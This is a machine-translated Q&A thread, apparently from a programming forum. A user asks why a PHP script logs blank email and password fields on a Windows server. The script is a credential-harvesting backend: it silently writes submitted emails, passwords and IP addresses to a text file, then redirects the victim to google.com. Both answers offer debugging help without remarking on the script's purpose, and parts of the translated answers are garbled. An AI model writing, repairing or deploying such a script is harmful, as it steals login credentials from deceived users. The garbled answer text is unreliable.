-1

以前にこのスクリプトを Linux ボックスで使用したことがあり、機能することはわかっていますが、新しい Windows Server 2003 サーバーで使用すると機能しません。過去に、ファイルを 777 に chmod することでこの問題を解決しましたが、Windows ではそれができません。

コードは次のとおりです。

<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>

box1 と box2 のデータには空白が出力されますが、IP と日付は .txt ファイルに記録されます。提案してください?

4

2 に答える 2

0

明らかに、変数は空の文字列に設定または設定されていません$_POST['box1']$_POST['box2']その後、ファイルに保存されます。

PHPは実際には変数に対してかなり厳密であり、それらの値のみを取り、そこで期待されるものは取りませんが、実際にはそこにのみあります。

リクエストを監視し、送信されたデータを確認して、適切な変数を使用していることを確認できるようにします。

于 2012-04-24T19:13:55.960 に答える
0

たぶんあなたの$_POSTは空ですか?

エンコーディングタイプの問題が原因でこれを確認しました。file_get_contentsを読み取ることは優れたソリューションです。

$postData = file_get_contents('php://input');

これは、プローブが$ _POSTで空であるか、他の何かが悪い場合の質問に答えるはずです。

于 2012-04-24T19:18:15.823 に答える